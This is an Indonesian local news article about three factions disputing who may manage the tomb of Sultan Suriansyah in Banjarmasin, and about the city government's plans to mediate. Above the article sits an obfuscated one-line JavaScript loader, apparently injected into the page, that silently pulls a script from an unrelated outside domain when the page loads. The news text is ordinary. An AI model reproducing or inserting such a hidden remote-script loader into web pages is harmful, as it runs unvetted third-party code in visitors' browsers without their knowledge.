(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN, BANJARMASIN – Saling klaim pihak kepengurusan paling berwenang mengelola Makam Sultan Suriansyah Banjarmasin, bikin ‘puyeng’ Pemerintah Kota (Pemko) Banjarmasin.
Adanya tiga kubu yang mengaku paling berhak dengan versi masing-masing mengklaim juriat alias keturunan Kesultanan Banjar, menimbulkan ‘perebutan’ siapa paling berwenang mengelola makam Sultan Banjar di Kuin itu.
Kondisi ini membuat Pemko Banjarmasin sebagai mediator yang akhirnya dibikin ‘puyeng’.
Asisten II Bidang Ekonomi dan Pembangunan Setdako Banjarmasin, Doyo Pudjadi, Jumat (2/7/2021), mengakui, saat ini ketiga pihak yang mengklaim berwenang menjadi pengelola makam kian runyam, dikarenakan salah satu kubu dari tiga pihak enggan mendatangi rapat. Hanya mengirim surat pernyataan paling berhak menjadi pengurus makam.
Baca juga: Pasar Laura Segera Dibuka, Ini Komentar Waket Komisi II DPRD Banjarbaru
“Untuk saat ini hal tersebut membuat kami pusing. Padahal sebelumnya, ketiga kubu sudah menyepakati hasil rapat sebelumnya,” ujar Doyo.
Menurutnya, kalau permasalahan tersebut dibiarkan berlarut-larut, sampai kapan pun tidak akan selesai.
Maka dari itu pihaknya melakukan rapat dengan menghadirkan perwakilan dari ketiga kubu tersebut yang akan dilaksanakan pada Sabtu mendatang.
“Rapat ini sekaligus untuk menyamakan persepsi soal pengelolaan Makam Sultan Suriansyah,” ujarnya.
Baca juga: Buntut Aksi #Save KPK, BEM se-Kalsel Sampaikan Mosi Tak Percaya pada Ketua DPRD Kalsel
Dalam kesepakatan sebelumnya yang dimaksud Pemko Banjarmasin, yakni perihal rapat pembentukan tim formatur.
Yang tujuannya nanti, menetapkan siapa yang bakal menjadi pengurus sah pengelolaan makam Sultan Banjar pertama tersebut.
Dalam hal ini Doyo juga menyampaikan bahwa, pada Sabtu mendatang, pihaknya kembali akan menggelar rapat untuk menentukan tim formatur.
“Hadir atau tidaknya, kami akan tetap sepakat dan akan tetap menyusun tim formaturnya,” tegas Doyo.
Pemko Banjarmasin meminta kepada ketua yang ditunjuk sebelumnya untuk menghubungi semua pihak mengikuti rapat. “Semoga dengan adanya rapat ini nanti hasilnya sudah bisa meredam konflik,” ucapnya.
“Kita maunya cepat. Karena cepat selesai, lebih baik. Siapa pun pengurusnya nanti kita harap ini bisa mengayomi semua pihak, semoga saja tidak lagi terjadi kasus seperti ini,” tambah Doyo. (kanalkalimantan.com/shintia)
Reporter : shintia
Editor : bie
KANALKALIMANTAN.COM, PELAIHARI - Nasib tragis dialami rombongan santri yang sedang melakukan libur akhir tahun di… Read More
KANALKALIMANTAN.COM, BALIKPAPAN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM - Fitur Accessibility pada perangkat smartphone adalah fitur yang penting untuk seseorang yang memiliki… Read More
KANALKALIMANTAN.COM - Kamu pernah dengar istilah "brand itu nyawa bisnis"? Di era digital ini, pernyataan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Puncak musim hujan sudah memasuki sejumlah wilayah Kalimantan Selatan (Kalsel) bertepatan pada… Read More
KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More
This website uses cookies.